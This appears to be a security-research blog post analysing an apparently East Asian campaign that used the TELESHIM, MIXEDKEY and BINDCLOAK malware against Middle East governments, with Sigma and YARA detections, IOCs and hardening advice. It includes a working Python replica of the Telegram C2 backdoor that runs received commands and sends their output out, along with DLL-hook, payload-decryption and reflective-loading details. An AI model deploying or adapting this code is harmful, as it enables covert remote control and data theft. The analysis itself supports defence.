TELESHIM, MIXEDKEY & BINDCLOAK: Dissecting the East Asian APT’s Three-Family Toolkit Weaponizing Telegram C2 Against Middle East Governments

Three malware families nobody had documented before, a Telegram bot doing double duty as a covert command channel, and a payload that refuses to decrypt unless it’s sitting on the exact hard drive the operator prepared it for. Zscaler ThreatLabz dropped this campaign analysis on July 27, 2026, and it’s one of the more disciplined multi-stage chains I’ve picked apart this year. The targeting: government entities across the Middle East. The actor: assessed with moderate-to-high confidence as operating out of East Asia, though ThreatLabz stops short of pinning it to any named APT group. The toolkit: TELESHIM, MIXEDKEY, and BINDCLOAK, each occupying a distinct role in a handoff chain designed to survive forensic collection, sandbox detonation, and off-target analysis.

Let’s walk through each family mechanically, then build the detection stack.

Campaign Context and Attribution Boundaries

Between early and mid-July 2026, ThreatLabz observed post-compromise activity against Middle Eastern government targets. The threat actor’s operational hours clustered between 4:00 a.m. and 12:00 p.m. UTC, with the heaviest activity window between 7:00 a.m. and 11:00 a.m. UTC. Combined with geolocation data from the actor’s exposed public IP address and a Windows system locale consistent with an East Asian region, ThreatLabz reached a moderate-to-high confidence attribution to an East Asia-nexus operator.

That phrasing matters. This is not being attributed to a known APT group like Mustang Panda, Winnti, or APT41. The tradecraft is distinct enough, and the tooling is previously undocumented, so this could be a newly tracked cluster or a known group that retooled. The targeting pattern (Middle Eastern government, petroleum and gas sector lures, border and agreement-themed documents) is consistent with strategic intelligence collection priorities that several East Asian state-sponsored groups have historically pursued.

The chain itself is methodical: ISO delivery container, DLL sideloading under a signed binary, Telegram-based C2 for the first stage, a second sideloading chain for the loader, environmental keying to lock the final payload to the specific victim machine, and a dedicated C2 implant for long-term access. Three families, three roles, minimal overlap.

The ISO Delivery Vehicle: DLL Search-Order Hijacking Without a CVE

The initial access vector uses a weaponized ISO file. This is a delivery pattern that exploded in popularity after Microsoft’s 2022 decision to propagate Mark-of-the-Web (MOTW) into ISO contents was inconsistently enforced across Windows versions and archive handlers. Even post-patch, ISO files remain attractive containers: they auto-mount as virtual drives on double-click in modern Windows, their contents bypass some MOTW inheritance scenarios, and they present the user with what looks like a normal folder of files.

Inside this ISO sit two files:

The technique is DLL search-order hijacking (ATT&CK T1574.002). When RegSchdTask.exe loads, Windows resolves AsTaskSched.dll by searching the application’s directory first, before system directories. Because the malicious DLL sits alongside the executable in the ISO root, it gets loaded instead of (or before) any legitimate system copy. The ASUS digital signature on the EXE is still valid, so any security product checking the process’s authenticode signature sees a trusted binary. The malicious code runs inside that trusted process context.

This is not a vulnerability in the ASUS binary, and there’s no CVE. The EXE is functioning as designed; it’s loading the DLL it was built to load. The problem is that an attacker placed a hostile version of that DLL in a location where the Windows loader finds it first. This pattern shows up constantly in APT campaigns because it requires zero exploit development. You just need a signed binary with a known DLL dependency that isn’t pinned to an absolute path.

TELESHIM Deep Dive: Architecture of a Telegram-Backed Backdoor

TELESHIM is a 32-bit C++ Windows DLL. ThreatLabz identified two earlier compilation timestamps from 2025, but the variant used in this campaign was compiled in July 2026 and introduced substantially heavier obfuscation.

DllMain Hook Installation

When the Windows loader calls DllMain with DLL_PROCESS_ATTACH, TELESHIM doesn’t execute its C2 logic directly. Instead, it installs a hook into the host application’s execution flow. This indirection means the malware’s primary logic runs under the legitimate process’s thread context, which makes behavioral detection harder: the malicious activity appears to originate from a signed ASUS binary rather than a standalone suspicious process.

The hook installation pattern would look something like this in a lab replica:

// Simplified hook install in DllMain (lab demonstration)
#include <windows.h>

typedef int (WINAPI *OrigFunc_t)(void);
OrigFunc_t g_OrigFunc = NULL;

int WINAPI HookedFunction(void) {
    // TELESHIM's C2 init runs here, under the host process context
    InitC2Loop();  // Telegram polling, registration, etc.
    return g_OrigFunc ? g_OrigFunc() : 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        // Patch IAT or inline-hook a function the host calls early
        // Real sample: hooks a specific ASUS utility function
        // Lab: demonstrate the indirection concept
        DisableThreadLibraryCalls(hModule);
        InstallInlineHook(TargetFuncAddr, HookedFunction, &g_OrigFunc);
    }
    return TRUE;
}

The key detection artifact here is Sysmon Event ID 7 (ImageLoaded). When AsTaskSched.dll loads under RegSchdTask.exe, the DLL will not carry a valid digital signature matching the host process’s publisher. An unsigned or differently-signed DLL loading into a signed process from a user-writable path is a high-fidelity signal.

Telegram C2 Mechanics: Why Polling Beats Webhooks for Attackers

TELESHIM decrypts a hardcoded Telegram bot token and chat ID at runtime, then communicates with the Telegram Bot API over HTTPS (port 443) to api.telegram.org. This is the core operational advantage of Telegram C2: the traffic terminates at Telegram’s infrastructure, shares TLS certificates and IP ranges with hundreds of millions of legitimate users, and looks identical to normal Telegram API usage at the network layer.

The implant uses the getUpdates long-polling method rather than webhooks. This distinction is operationally significant. Webhooks require the bot to expose a publicly reachable HTTPS endpoint where Telegram pushes updates. That means the victim machine (or a relay) needs an inbound listener, which creates infrastructure exposure and firewall complications. Polling, by contrast, is entirely outbound: the implant periodically calls GET api.telegram.org/bot{TOKEN}/getUpdates?offset={N}&timeout=30, and Telegram holds the connection open for up to 30 seconds (long poll), returning any new messages in the operator’s chat.

From the defender’s perspective, this means you will never see inbound connections to the victim from Telegram. All traffic is outbound HTTPS to Telegram’s API servers. The only network-layer anomaly is that a non-browser, non-Telegram-Desktop process is making repeated HTTPS requests to api.telegram.org with URI paths containing /bot and /getUpdates.

Here’s a functional lab replica of the polling loop:

# lab_teleshim_poll.py - Researcher-controlled bot token ONLY
import requests, base64, subprocess, uuid, time

BOT_TOKEN   = "YOUR_LAB_BOT_TOKEN"
CHAT_ID     = "YOUR_LAB_CHAT_ID"
API_BASE    = f"https://api.telegram.org/bot{BOT_TOKEN}"
XOR_KEY     = b"LABKEY01"
POLL_OFFSET = 0

MAC_ADDR = ':'.join(['{:02x}'.format((uuid.getnode() >> ele) & 0xff)
                     for ele in range(0, 8*6, 8)][::-1])

def xor_crypt(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

def register_host():
    requests.post(f"{API_BASE}/sendMessage",
                  json={"chat_id": CHAT_ID, "text": f"[REG] {MAC_ADDR}"})

def poll():
    global POLL_OFFSET
    r = requests.get(f"{API_BASE}/getUpdates",
                     params={"offset": POLL_OFFSET, "timeout": 30}, timeout=40)
    return r.json().get("result", [])

def exec_cmd(cmd: str) -> str:
    try:
        return subprocess.check_output(
            f"cmd.exe /C {cmd}", shell=False,
            stderr=subprocess.STDOUT, timeout=30).decode(errors="replace")
    except Exception as e:
        return str(e)

def send_chunked(output: str, chunk_size=3000):
    for i in range(0, len(output), chunk_size):
        chunk = output[i:i+chunk_size]
        enc = base64.b64encode(xor_crypt(chunk.encode(), XOR_KEY)).decode()
        requests.post(f"{API_BASE}/sendMessage",
                      json={"chat_id": CHAT_ID, "text": f"[OUT|{MAC_ADDR}]\n{enc}"})
        time.sleep(0.5)

register_host()
while True:
    for upd in poll():
        POLL_OFFSET = upd["update_id"] + 1
        text = upd.get("message", {}).get("text", "")
        if not text.startswith(f"[{MAC_ADDR}]"):
            continue
        raw = base64.b64decode(text.split("|", 2)[2])
        cmd = xor_crypt(raw, XOR_KEY).decode()
        send_chunked(exec_cmd(cmd))
    time.sleep(6)

Command Taxonomy and Host Identification

TELESHIM uses the victim machine’s MAC address (retrieved via GetAdaptersInfo()) as a unique host identifier. This lets the operator manage multiple compromised hosts through a single Telegram chat, addressing commands to specific machines. The message protocol supports several operation types:

Persistence

TELESHIM creates a Windows scheduled task configured to fire every six minutes. The task re-executes RegSchdTask.exe, which triggers the DLL sideload again, ensuring the implant survives reboots and process termination. Six minutes is a tight interval, aggressive enough for near-real-time C2 responsiveness but generating a predictable cadence that’s detectable in scheduled task creation logs (Event ID 4698) and Sysmon Event ID 1 (ProcessCreate) if you correlate trigger intervals.

TELESHIM’s Anti-Analysis Stack

The July 2026 variant introduced heavy obfuscation that the 2025 builds lacked. Three code-level techniques and three runtime environment checks form the anti-analysis gauntlet.

For analysts working through TELESHIM samples, the practical deobfuscation stack is: IDA Pro with D-810 plugin for CFF recovery, MBA-Blast or Arybo for MBA expression simplification, and FLARE’s FLOSS or Mandiant’s Speakeasy for automated string extraction from encrypted blobs.

MIXEDKEY: Reflective Loading with Environmental Keying

MIXEDKEY is the second stage, and it exists for one purpose: decrypt and reflectively load the final implant (BINDCLOAK) in memory, without ever writing the decrypted payload to disk.

Second Sideloading Chain

TELESHIM downloads two files that establish a second, independent DLL sideloading chain:

The .PCPKEY extension is a deliberate disguise. Legitimate .PCPKEY files are associated with the Windows Platform Crypto Provider (TPM-backed key storage). Placing the encrypted payload under this extension makes it blend with expected system artifacts during cursory forensic review.

Two-Layer XOR Decryption with Environmental Keying

MIXEDKEY decrypts the .PCPKEY file using two XOR layers. The first layer uses a hardcoded key embedded in the binary. The second layer is the critical part: it derives the key from the victim machine’s volume serial number.

The volume serial number is a DWORD assigned to a disk volume at format time. MIXEDKEY retrieves it via GetVolumeInformationW():

DWORD get_env_key() {
    DWORD serial = 0;
    // lpRootPathName = "C:\\" typically
    GetVolumeInformationW(L"C:\\", NULL, 0, &serial,
                          NULL, NULL, NULL, 0);
    return serial;  // 4-byte DWORD used as XOR key material
}

void decrypt_payload(BYTE *buf, SIZE_T len, BYTE l1_key, DWORD serial) {
    BYTE *sk = (BYTE *)&serial;
    for (SIZE_T i = 0; i < len; i++) {
        buf[i] ^= l1_key;        // Layer 1: static key
        buf[i] ^= sk[i % 4];     // Layer 2: volume serial
    }
}

This is environmental keying, and the operational implication is severe: the encrypted payload is cryptographically inert on any machine other than the one the operator prepared it for. If a researcher obtains the .PCPKEY file from a malware repository or a shared forensic image without also capturing the original volume serial number, the payload cannot be decrypted. The operator must have pre-staged the payload after performing reconnaissance to learn the victim’s volume serial, then encrypted BINDCLOAK specifically for that target. This is a targeted, per-victim preparation step.

Obfuscation Differences from TELESHIM

MIXEDKEY shares CFF and MBA obfuscation with TELESHIM but takes string construction further. Instead of decrypting strings from an encrypted blob, MIXEDKEY computes each byte of a string individually using MBA expressions over hardcoded constants in the .data section. The bytes are written out of order to a buffer and reassembled. Computing a single byte requires approximately 1,000 instructions. This makes automated string extraction significantly harder than TELESHIM’s approach.

Reflective PE Loading

After decryption, MIXEDKEY loads the resulting PE directly from the memory buffer. The reflective loading process:

1. Parse the IMAGE_DOS_HEADER and IMAGE_NT_HEADERS from the decrypted buffer
2. Allocate memory (VirtualAlloc) with the size specified by OptionalHeader.SizeOfImage
3. Copy PE sections from the buffer to their proper virtual addresses
4. Process the relocation table (.reloc) to fix up addresses for the new base
5. Walk the import table, calling LoadLibraryA/GetProcAddress to resolve each imported function
6. Call DllMain(DLL_PROCESS_ATTACH) on the loaded PE

Because no LoadLibrary() call is made for the payload itself, the loaded module never appears in the PEB->Ldr module list. Most EDR products that enumerate loaded modules via EnumProcessModules() or PEB walking will not see BINDCLOAK. The decrypted payload exists only in allocated memory pages with no backing file on disk and no loader data table entry.

BINDCLOAK: The Final Implant

BINDCLOAK is the terminal payload: a 64-bit C++ implant that provides the operator with persistent, non-Telegram C2 access to the compromised host. It contacts the domain cert.hypersnet[.]com over what is presumably HTTPS, though Zscaler has not yet published the detailed protocol analysis (Part 2 of their series was pending at the time of this writing).

What We Know

The cert. subdomain prefix is a deliberate impersonation of certificate infrastructure, a social engineering trick aimed at both automated domain categorization systems and human analysts doing quick triage. Domains prefixed with cert. may be miscategorized as certificate authority or PKI infrastructure by threat intelligence platforms.

ThreatLabz observed hands-on-keyboard activity through BINDCLOAK (and earlier through TELESHIM) between July 7 and July 9, 2026. The operator executed standard reconnaissance commands: net user, ipconfig /all, directory listing, and other system/network enumeration. Follow-on payloads were also delivered during this window.

The Memory Acquisition Imperative

Because BINDCLOAK only exists in decrypted form in process memory, incident response teams face a critical constraint: if the endpoint is reimaged or powered off before a memory snapshot is captured, the decrypted implant and all forensic evidence it contains is permanently lost. The encrypted .PCPKEY file on disk is useless without the volume serial number key, and if the original volume is reformatted, that serial is gone too.

This is a situation where volatile evidence collection must happen before containment. Tools like WinPmem, Magnet RAM Capture, or Velociraptor’s memory acquisition artifacts need to run on the live, compromised system before it’s pulled from the network.

Detection Engineering

Network Layer: Telegram API Anomalies

The highest-value network detection is identifying non-browser, non-Telegram-Desktop processes making HTTPS requests to api.telegram.org with Bot API paths. Legitimate Telegram desktop clients use api.telegram.org for user-facing API calls, but they use different URI path patterns than the Bot API.

# Sigma: Telegram Bot API from non-standard process
title: Telegram Bot API getUpdates from Non-Browser Process
status: experimental
logsource:
    category: proxy
    product: windows
detection:
    selection:
        cs-host: 'api.telegram.org'
        cs-uri-stem|contains: '/getUpdates'
    filter_browsers:
        cs-user-agent|contains:
            - 'Chrome'
            - 'Firefox'
            - 'Edge'
            - 'Telegram Desktop'
    condition: selection and not filter_browsers
level: high
tags:
    - attack.command_and_control
    - attack.t1102.002

On networks where Telegram is not business-critical, blocking or alerting on all api.telegram.org traffic from endpoints (versus mobile devices on separate segments) is a high-impact, low-cost hardening step.

Endpoint Layer: Sysmon and ETW

YARA Detection

rule TELESHIM_TelegramC2_Backdoor {
    meta:
        description = "Detects TELESHIM Telegram Bot API C2 backdoor"
        author      = "GenXCyber Research"
        reference   = "Zscaler ThreatLabz July 2026"
    strings:
        $api1  = "api.telegram.org" ascii wide
        $api2  = "getUpdates"       ascii wide
        $api3  = "sendMessage"      ascii wide
        $sched = "AsTaskSched"      ascii wide
        $mac   = "GetAdaptersInfo"  ascii
    condition:
        uint16(0) == 0x5A4D and filesize < 5MB
        and 3 of ($api1, $api2, $api3, $sched, $mac)
}

rule MIXEDKEY_EnvKeyed_Loader {
    meta:
        description = "Detects MIXEDKEY reflective loader with volume serial keying"
        author      = "GenXCyber Research"
    strings:
        $pcpkey = ".PCPKEY" ascii wide
        $vol    = "GetVolumeInformation" ascii wide
        $gopro  = "GoProAlertService"    ascii wide
        $pt     = "pthreadVC2"           ascii wide
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

Infrastructure Fingerprinting and Pivoting

Starting from the known IOCs, analysts can pivot outward:

Known SHA-256 (TELESHIM): 5c2fe953da53da66fbcbb3be0fd6b63907c10714c337f287b2fc258857bbff6d

BINDCLOAK C2: cert.hypersnet[.]com – Passive DNS records, WHOIS history, and certificate transparency logs for this domain (and the parent hypersnet[.]com) are pivoting surfaces. The cert. subdomain pattern may be reused across other campaigns by this actor.

Telegram bot token recovery: If the bot token is extracted from a TELESHIM sample (via dynamic analysis or string decryption), calling api.telegram.org/bot{TOKEN}/getMe returns the bot’s metadata, and getChat with the chat ID reveals the operator’s chat configuration. Both are useful for attribution and for monitoring whether the operator is still active.

JA3/JA4 fingerprinting: TELESHIM’s TLS client hello will produce a JA3 hash distinct from standard browsers and Telegram Desktop. If the implant uses a specific HTTP library (WinHTTP, libcurl, custom), that JA3 signature becomes a network-level hunting indicator across the fleet.

Operational hour clustering: The 4:00 a.m. to 12:00 p.m. UTC activity window is itself an analytic. Correlating C2 callback timestamps across multiple incidents can link campaigns even when infrastructure is rotated.

MITRE ATT&CK Mapping

Hardening Recommendations

Block or monitor Telegram API at the proxy/firewall. If Telegram is not a sanctioned business application, blocking api.telegram.org and Telegram IP ranges (149.154.160.0/20, 91.108.4.0/22, and the additional ranges published by Telegram) at the network egress eliminates TELESHIM’s C2 channel entirely. If blocking is not feasible, alert on Bot API-specific URI patterns (/bot, /getUpdates, /sendMessage, /getFile) from non-Telegram-Desktop processes.

Enforce DLL search-order hardening. Windows offers SafeDllSearchMode (enabled by default on modern systems, but verify via registry) and application-level manifests that pin DLL paths. For high-value systems, consider application allowlisting (AppLocker or WDAC) that restricts DLL loads from user-writable directories and removable media.

Restrict ISO auto-mount behavior. Group Policy can disable auto-mounting of ISO files, or at minimum, enforce MOTW propagation to contents. This forces the user through additional prompts before execution.

Mandate memory acquisition in IR playbooks. For any suspected compromise involving reflective loading or environmental keying, volatile memory collection must precede containment. If the machine is powered off or reimaged first, the decrypted payload is gone. Build this into your IR SOP, not as a nice-to-have but as a mandatory step.

Monitor for high-frequency scheduled tasks. A task firing every six minutes from a non-standard binary is anomalous. Correlate Event ID 4698 (task creation) with task trigger intervals and the executing binary’s reputation.

Key Takeaways

• Telegram C2 is operationally brilliant for attackers. Outbound-only, HTTPS-encrypted, sharing infrastructure with hundreds of millions of legitimate users. The only reliable detection is process-level correlation: which process is talking to the Bot API, and is it a browser or Telegram Desktop?

• Environmental keying raises the cost of analysis dramatically. MIXEDKEY’s use of the victim’s volume serial number as decryption key material means the payload is forensically inert outside the target environment. If you don’t capture the serial before reimaging, you lose the ability to decrypt the final stage permanently.

• Reflective loading plus environmental keying is a potent anti-forensics combination. BINDCLOAK never touches disk in decrypted form and never appears in the PEB module list. Memory acquisition is not optional here; it’s the only path to the payload.

• Two independent sideloading chains using two different legitimate vendor binaries (ASUS, GoPro) show deliberate redundancy. Even if defenders detect and block one chain, the other may survive. Detection rules need to cover both.

• The actor’s operational discipline (restricted working hours, per-victim keying, multi-stage handoff, CFF/MBA obfuscation added to newer builds) indicates a well-resourced, likely state-aligned operation. This is not commodity malware. The progression from unobfuscated 2025 builds to heavily obfuscated 2026 variants shows active development investment.

• Watch for Zscaler ThreatLabz Part 2. The detailed BINDCLOAK protocol analysis has not been published yet. When it drops, expect additional C2 protocol details, network signatures, and potentially more IOCs for infrastructure pivoting.

Related Tutorials

• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence

References

• github.com
• Targeted Attack on Government Entities in the Middle East | Part 1 – Zscaler ThreatLabz (Official Research Blog)
• TELESHIM Abuses Telegram for C2 in Attacks Against Middle East Governments – The Hacker News
• Hackers Hide C2 Traffic Inside Telegram While Targeting Middle East Governments – GBHackers
• New TELESHIM Malware Uses Telegram Bots to Backdoor Middle East Government Systems – CyberPress
• TELESHIM: East Asia APT Uses Telegram C2 to Backdoor Governments – Sanjay Seth Security Blog